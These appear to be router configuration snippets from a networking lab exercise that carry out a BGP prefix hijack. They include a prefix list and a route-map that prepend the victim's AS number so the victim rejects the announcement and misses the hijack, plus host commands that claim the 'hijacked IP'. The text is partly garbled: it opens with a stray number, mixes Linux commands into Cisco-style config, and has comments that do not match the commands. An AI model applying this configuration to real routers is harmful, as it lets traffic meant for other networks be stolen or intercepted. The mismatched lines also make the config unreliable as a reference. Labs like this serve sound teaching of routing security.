```
7330
router bgp 6646

network 10.46.33.0 mask 255.255.255.0
exit

interface Ethernet1
  ip address 10.46.33.1 255.255.255.0
  no shutdown

  # Assign the hijacked IP to the interface
ip addr add 10.46.33.10/24 dev eth0

# Set the gateway to R1's interface
ip route add 0.0.0.0/0 via 10.46.33.1



! Create a prefix list to isolate the hijacked route
! (We only want to apply this trick to the stolen route, not legitimate ones)
ip prefix-list HIJACK permit 10.46.33.0/24

! Create a route-map to modify the BGP attributes
route-map HIJACK permit 10
   match ip address prefix-list HIJACK
   ! Prepend the Victim's AS (3246) so they reject the update
   ! Prepending it twice ensures the path looks "long" to others,
   ! but mostly implies origin.
   set as-path prepend 3246 4846
```

```
!
! Allow all other traffic normally (catch-all)
route-map HIJACK permit 20

! Apply the map to the outbound neighbor (Minternet Peer)
router bgp 6646
  ! Assuming 100.64.1.2 is the Minternet neighbor IP from the topology
  neighbor 100.64.1.2 route-map HIJACK out


  show bgp ipv4 unicast 10.46.32.0/22 longer-prefixes
```